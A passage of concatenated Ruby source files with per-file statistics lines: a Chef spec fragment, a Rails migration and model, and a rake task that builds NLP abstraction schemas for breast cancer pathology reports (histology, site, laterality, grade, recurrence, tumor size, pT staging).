expect(chef_run).to create_remote_file( "#{node['openstack']['dashboard']['policy_files_path']}/neutron-fwaas-policy.json" ).with( mode: 0o0644, owner: 'root', source: 'https://raw.githubusercontent.com/openstack/neutron-fwaas-dashboard/stable/queens/etc/neutron-fwaas-policy.json' ) end it do expect(chef_run.remote_file("#{node['openstack']['dashboard']['policy_files_path']}/neutron-fwaas-policy.json")) .to notify('execute[openstack-dashboard collectstatic]').to(:run) notify('execute[neutron-fwaas-dashboard compilemessages]').to(:run) notify('service[apache2]').to(:restart).delayed end end end
33.571429
141
0.671868
38edf3f5fc8e1e1bdaa31591c7381ea1d7722f4f
452
class CreatePromotionalCodes < ActiveRecord::Migration def change create_table :promotional_codes do |t| t.string :code, null: false t.integer :limit, null: false, default: 0 t.integer :claimed, null: false, default: 0 t.float :discount, null: false, default: 0.0 t.datetime :expires_on, null: false t.timestamps end add_index :promotional_codes, :code, unique: true end end
28.25
55
0.643805
3818d4c06daf302f579b8df5af8cf3c43e3f94c5
505
class FederalState < ActiveRecord::Base extend FriendlyId friendly_id :name, use: :slugged belongs_to :country, touch: true has_many :events, -> {order('events.starts_on')}, as: :eventable, dependent: :destroy has_many :days, through: :events has_many :cities, -> { order('cities.name') }, dependent: :destroy has_many :schools, through: :cities # Validations # validates :name, presence: true, uniqueness: { scope: :country } def to_s name end end
22.954545
87
0.661386
261e0364bdfc8c0da18026e8b28588ab5ede390a
105,360
require './lib/omop_abstractor/setup/setup' require './lib/tasks/omop_abstractor_clamp_dictionary_exporter' namespace :biorepository_breast do desc 'Load schemas CLAMP biorepository breast' task(schemas_clamp_biorepository_breast: :environment) do |t, args| date_object_type = Abstractor::AbstractorObjectType.where(value: 'date').first list_object_type = Abstractor::AbstractorObjectType.where(value: 'list').first boolean_object_type = Abstractor::AbstractorObjectType.where(value: 'boolean').first string_object_type = Abstractor::AbstractorObjectType.where(value: 'string').first number_object_type = Abstractor::AbstractorObjectType.where(value: 'number').first radio_button_list_object_type = Abstractor::AbstractorObjectType.where(value: 'radio button list').first dynamic_list_object_type = Abstractor::AbstractorObjectType.where(value: 'dynamic list').first text_object_type = Abstractor::AbstractorObjectType.where(value: 'text').first name_value_rule = Abstractor::AbstractorRuleType.where(name: 'name/value').first value_rule = Abstractor::AbstractorRuleType.where(name: 'value').first unknown_rule = Abstractor::AbstractorRuleType.where(name: 'unknown').first source_type_nlp_suggestion = Abstractor::AbstractorAbstractionSourceType.where(name: 'nlp suggestion').first source_type_custom_nlp_suggestion = Abstractor::AbstractorAbstractionSourceType.where(name: 'custom nlp suggestion').first indirect_source_type = Abstractor::AbstractorAbstractionSourceType.where(name: 'indirect').first abstractor_section_type_offsets = Abstractor::AbstractorSectionType.where(name: Abstractor::Enum::ABSTRACTOR_SECTION_TYPE_OFFSETS).first abstractor_section_mention_type_alphabetic = Abstractor::AbstractorSectionMentionType.where(name: Abstractor::Enum::ABSTRACTOR_SECTION_MENTION_TYPE_ALPHABETIC).first abstractor_section_mention_type_token = Abstractor::AbstractorSectionMentionType.where(name: Abstractor::Enum::ABSTRACTOR_SECTION_MENTION_TYPE_TOKEN).first abstractor_section_specimen = Abstractor::AbstractorSection.where(abstractor_section_type: abstractor_section_type_offsets, name: 'SPECIMEN', source_type: NoteStableIdentifier.to_s, source_method: 'note_text', return_note_on_empty_section: true, abstractor_section_mention_type: abstractor_section_mention_type_alphabetic).first_or_create abstractor_section_comment = Abstractor::AbstractorSection.where(abstractor_section_type: abstractor_section_type_offsets, name: 'COMMENT', source_type: NoteStableIdentifier.to_s, source_method: 'note_text', return_note_on_empty_section: true, abstractor_section_mention_type: abstractor_section_mention_type_token).first_or_create abstractor_section_comment.abstractor_section_name_variants.build(name: 'Comment') abstractor_section_comment.abstractor_section_name_variants.build(name: 'Comments') abstractor_section_comment.abstractor_section_name_variants.build(name: 'Note') abstractor_section_comment.abstractor_section_name_variants.build(name: 'Notes') abstractor_section_comment.abstractor_section_name_variants.build(name: 'Additional comment') abstractor_section_comment.abstractor_section_name_variants.build(name: 'Additional comments') abstractor_section_comment.save! abstractor_namespace_surgical_pathology = Abstractor::AbstractorNamespace.where(name: 'Surgical Pathology', subject_type: NoteStableIdentifier.to_s, joins_clause: "JOIN note_stable_identifier_full ON note_stable_identifier.stable_identifier_path = note_stable_identifier_full.stable_identifier_path AND note_stable_identifier.stable_identifier_value = note_stable_identifier_full.stable_identifier_value JOIN note ON note_stable_identifier_full.note_id = note.note_id JOIN fact_relationship ON fact_relationship.domain_concept_id_1 = 5085 AND fact_relationship.fact_id_1 = note.note_id AND fact_relationship.relationship_concept_id = 44818790 JOIN procedure_occurrence ON fact_relationship.domain_concept_id_2 = 10 AND fact_relationship.fact_id_2 = procedure_occurrence.procedure_occurrence_id AND procedure_occurrence.procedure_concept_id = 4213297", where_clause: "note.note_title in('Final Diagnosis', 'Final Pathologic Diagnosis')").first_or_create abstractor_namespace_surgical_pathology.abstractor_namespace_sections.build(abstractor_section: abstractor_section_specimen) abstractor_namespace_surgical_pathology.abstractor_namespace_sections.build(abstractor_section: abstractor_section_comment) abstractor_namespace_surgical_pathology.save! #Begin primary cancer primary_cancer_group = Abstractor::AbstractorSubjectGroup.where(name: 'Primary Cancer', enable_workflow_status: false).first_or_create abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_histology', display_name: 'Histology', abstractor_object_type: list_object_type, preferred_name: 'cancer histology').first_or_create breast_histologies = Icdo3Histology.by_primary_breast breast_histologies.each do |histology| name = histology.icdo3_name.downcase if histology.icdo3_code != histology.icdo3_name abstractor_object_value = Abstractor::AbstractorObjectValue.where(:value => "#{name} (#{histology.icdo3_code})".downcase, vocabulary_code: histology.icdo3_code, vocabulary: 'ICD-O-3.2', vocabulary_version: 'ICD-O-3.2').first_or_create else abstractor_object_value = Abstractor::AbstractorObjectValue.where(:value => "#{name}", vocabulary_code: "#{name}".downcase).first_or_create end Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => name).first_or_create normalized_values = OmopAbstractor::Setup.normalize(name.downcase) normalized_values.each do |normalized_value| if !OmopAbstractor::Setup.object_value_exists?(abstractor_abstraction_schema, normalized_value) Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end histology_synonyms = Icdo3Histology.by_icdo3_code_with_synonyms(histology.icdo3_code) histology_synonyms.each do |histology_synonym| if !['ductal carcinoma, nos', 'duct carcinoma, nos'].include?(histology_synonym.icdo3_synonym_description.downcase) normalized_values = OmopAbstractor::Setup.normalize(histology_synonym.icdo3_synonym_description.downcase) normalized_values.each do |normalized_value| Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end end end # abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: '8000/0').first # abstractor_object_value.favor_more_specific = true # abstractor_object_value.save! # # abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: '8000/3').first # abstractor_object_value.favor_more_specific = true # abstractor_object_value.save! # # abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: '9380/3').first # abstractor_object_value.favor_more_specific = true # abstractor_object_value.save! abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: true).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 1).first_or_create abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site', display_name: 'Site', abstractor_object_type: list_object_type, preferred_name: 'cancer site').first_or_create breast_sites = Icdo3Site.by_primary_breast breast_sites.each do |site| abstractor_object_value = Abstractor::AbstractorObjectValue.where(:value => "#{site.icdo3_name} (#{site.icdo3_code})".downcase, vocabulary_code: site.icdo3_code, vocabulary: 'ICD-O-3.2', vocabulary_version: '2019 ICD-O-3.2').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => site.icdo3_name.downcase).first_or_create normalized_values = OmopAbstractor::Setup.normalize(site.icdo3_name.downcase) normalized_values.each do |normalized_value| if !OmopAbstractor::Setup.object_value_exists?(abstractor_abstraction_schema, normalized_value) Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end site_synonyms = Icdo3Site.by_icdo3_code_with_synonyms(site.icdo3_code) site_synonyms.each do |site_synonym| normalized_values = OmopAbstractor::Setup.normalize(site_synonym.icdo3_synonym_description.downcase) normalized_values.each do |normalized_value| Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end end # abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: 'C71.9').first # abstractor_object_value.favor_more_specific = true # abstractor_object_value.save! abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 2).first_or_create #Begin Laterality abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site_laterality', display_name: 'Laterality', abstractor_object_type: radio_button_list_object_type, preferred_name: 'laterality').first_or_create lateralites = ['bilateral', 'left', 'right'] lateralites.each do |laterality| abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: laterality, vocabulary_code: laterality).first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create end abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 3).first_or_create #End Laterality #Begin Pathologic SBR Grade abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_pathologic_sbr_grade', display_name: 'Pathologic Scarff-Bloom-Richardson Grade', abstractor_object_type: radio_button_list_object_type, preferred_name: 'grade').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'Grade 1', vocabulary_code: 'Grade 1').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'Grade I').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'Grade 2', vocabulary_code: 'Grade 2').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'Grade II').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'Grade 3', vocabulary_code: 'Grade 3').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'Grade III').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where( abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 4).first_or_create #End Pathologic SBR Grade #Begin recurrent abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_recurrence_status', display_name: 'Recurrent', abstractor_object_type: radio_button_list_object_type, preferred_name: 'recurrent').first_or_create abstractor_object_value_initial = Abstractor::AbstractorObjectValue.where(value: 'initial', vocabulary_code: 'initial').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value_initial).first_or_create abstractor_object_value_recurrent = Abstractor::AbstractorObjectValue.where(value: 'recurrent', vocabulary_code: 'recurrent').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value_recurrent).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value_recurrent, value: 'residual').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value_recurrent, value: 'recurrence').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false, default_abstractor_object_value_id: abstractor_object_value_initial.id).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where(abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => primary_cancer_group, :display_order => 4).first_or_create #End recurrent #End primary cancer #Begin metastatic metastatic_cancer_group = Abstractor::AbstractorSubjectGroup.where(name: 'Metastatic Cancer', enable_workflow_status: false).first_or_create abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_metastatic_cancer_histology', display_name: 'Histology', abstractor_object_type: list_object_type, preferred_name: 'cancer histology').first_or_create metastatic_histologies = Icdo3Histology.by_metastasis metastatic_histologies.each do |histology| name = histology.icdo3_name.downcase if histology.icdo3_code != histology.icdo3_name abstractor_object_value = Abstractor::AbstractorObjectValue.where(:value => "#{name} (#{histology.icdo3_code})".downcase, vocabulary_code: histology.icdo3_code, vocabulary: 'ICD-O-3.2', vocabulary_version: 'ICD-O-3.2').first_or_create else abstractor_object_value = Abstractor::AbstractorObjectValue.where(:value => "#{name}", vocabulary_code: "#{name}".downcase).first_or_create end Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => name.downcase).first_or_create normalized_values = OmopAbstractor::Setup.normalize(name.downcase) normalized_values.each do |normalized_value| if !OmopAbstractor::Setup.object_value_exists?(abstractor_abstraction_schema, normalized_value) Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end histology_synonyms = Icdo3Histology.by_icdo3_code_with_synonyms(histology.icdo3_code) histology_synonyms.each do |histology_synonym| normalized_values = OmopAbstractor::Setup.normalize(histology_synonym.icdo3_synonym_description.downcase.downcase) normalized_values.each do |normalized_value| Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end end abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: '8000/6').first abstractor_object_value.favor_more_specific = true abstractor_object_value.save! abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: true).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where(abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 1).first_or_create #Begin metastatic cancer site abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site', display_name: 'Site', abstractor_object_type: list_object_type, preferred_name: 'cancer site').first_or_create #keep as create, not first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false).create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where(abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 2).first_or_create #End metastatic cancer site #Begin metastatic cancer primary site abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_metastatic_cancer_primary_site', display_name: 'Primary Site', abstractor_object_type: list_object_type, preferred_name: 'primary cancer site').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'primary').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'originating').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'origin').first_or_create sites = Icdo3Site.by_primary_metastatic_breast sites.each do |site| abstractor_object_value = Abstractor::AbstractorObjectValue.where(:value => "#{site.icdo3_name} (#{site.icdo3_code})".downcase, vocabulary_code: site.icdo3_code, vocabulary: 'ICD-O-3.2', vocabulary_version: '2019 Updates to ICD-O-3.2').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => site.icdo3_name.downcase).first_or_create normalized_values = OmopAbstractor::Setup.normalize(site.icdo3_name.downcase) normalized_values.each do |normalized_value| if !OmopAbstractor::Setup.object_value_exists?(abstractor_abstraction_schema, normalized_value) Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end site_synonyms = Icdo3Site.by_icdo3_code_with_synonyms(site.icdo3_code) site_synonyms.each do |site_synonym| normalized_values = OmopAbstractor::Setup.normalize(site_synonym.icdo3_synonym_description.downcase) normalized_values.each do |normalized_value| Abstractor::AbstractorObjectValueVariant.where(:abstractor_object_value => abstractor_object_value, :value => normalized_value.downcase).first_or_create end end end abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: 'C41.9').first abstractor_object_value.favor_more_specific = true abstractor_object_value.save! abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: 'C49.9').first abstractor_object_value.favor_more_specific = true abstractor_object_value.save! abstractor_object_value = abstractor_abstraction_schema.abstractor_object_values.where(vocabulary_code: 'C41.2').first abstractor_object_value.favor_more_specific = true abstractor_object_value.save! abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false).first_or_create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where(abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 3).first_or_create #End metastatic cancer primary site #Begin Laterality abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_site_laterality', display_name: 'Laterality', abstractor_object_type: radio_button_list_object_type, preferred_name: 'laterality').first_or_create #keep as create, not first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false).create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where(abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 4).first_or_create #End Laterality #Begin recurrent abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_cancer_recurrence_status', display_name: 'Recurrent', abstractor_object_type: radio_button_list_object_type, preferred_name: 'recurrent').first_or_create #keep as create, not first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id, anchor: false, default_abstractor_object_value_id: abstractor_object_value_initial.id).create abstractor_abstraction_source = Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp', section_required: true).first_or_create Abstractor::AbstractorAbstractionSourceSection.where(abstractor_abstraction_source: abstractor_abstraction_source, abstractor_section: abstractor_section_specimen).first_or_create Abstractor::AbstractorSubjectGroupMember.where(:abstractor_subject => abstractor_subject, :abstractor_subject_group => metastatic_cancer_group, :display_order => 5).first_or_create #End recurrent #End metastatic #Begin tumor size abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'has_tumor_size', display_name: 'tumor size', abstractor_object_type: number_object_type, preferred_name: 'tumor size').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'tumor extent').first_or_create abstractor_subject = Abstractor::AbstractorSubject.where(:subject_type => 'NoteStableIdentifier', :abstractor_abstraction_schema => abstractor_abstraction_schema, namespace_type: Abstractor::AbstractorNamespace.to_s, namespace_id: abstractor_namespace_surgical_pathology.id).first_or_create Abstractor::AbstractorAbstractionSource.where(abstractor_subject: abstractor_subject, from_method: 'note_text', :abstractor_rule_type => name_value_rule, abstractor_abstraction_source_type: source_type_custom_nlp_suggestion, custom_nlp_provider: 'custom_nlp_provider_clamp').first_or_create #End tumor size #Begin pT Category abstractor_abstraction_schema = Abstractor::AbstractorAbstractionSchema.where( predicate: 'pathological_tumor_staging_category', display_name: 'pT Category', abstractor_object_type: list_object_type, preferred_name: 'pT').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'staging').first_or_create Abstractor::AbstractorAbstractionSchemaPredicateVariant.where(abstractor_abstraction_schema: abstractor_abstraction_schema, value: 'stage').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pTx', vocabulary_code: 'pTx').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTx').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'TX').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_TX').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pT0', vocabulary_code: 'pT0').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pT0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'T0').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_T0').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pTis (DCIS)', vocabulary_code: 'pTis (DCIS)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTis (DCIS)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'pTis(DCIS)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTis(DCIS)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'pTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'Tis').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_Tis').first_or_create abstractor_object_value = Abstractor::AbstractorObjectValue.where(value: 'pTis (Paget)', vocabulary_code: 'pTis (Paget)').first_or_create Abstractor::AbstractorAbstractionSchemaObjectValue.where(abstractor_abstraction_schema: abstractor_abstraction_schema, abstractor_object_value: abstractor_object_value).first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTis (Paget)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 'pTis(Paget)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: '_pTis(Paget)').first_or_create Abstractor::AbstractorObjectValueVariant.where(abstractor_object_value: abstractor_object_value, value: 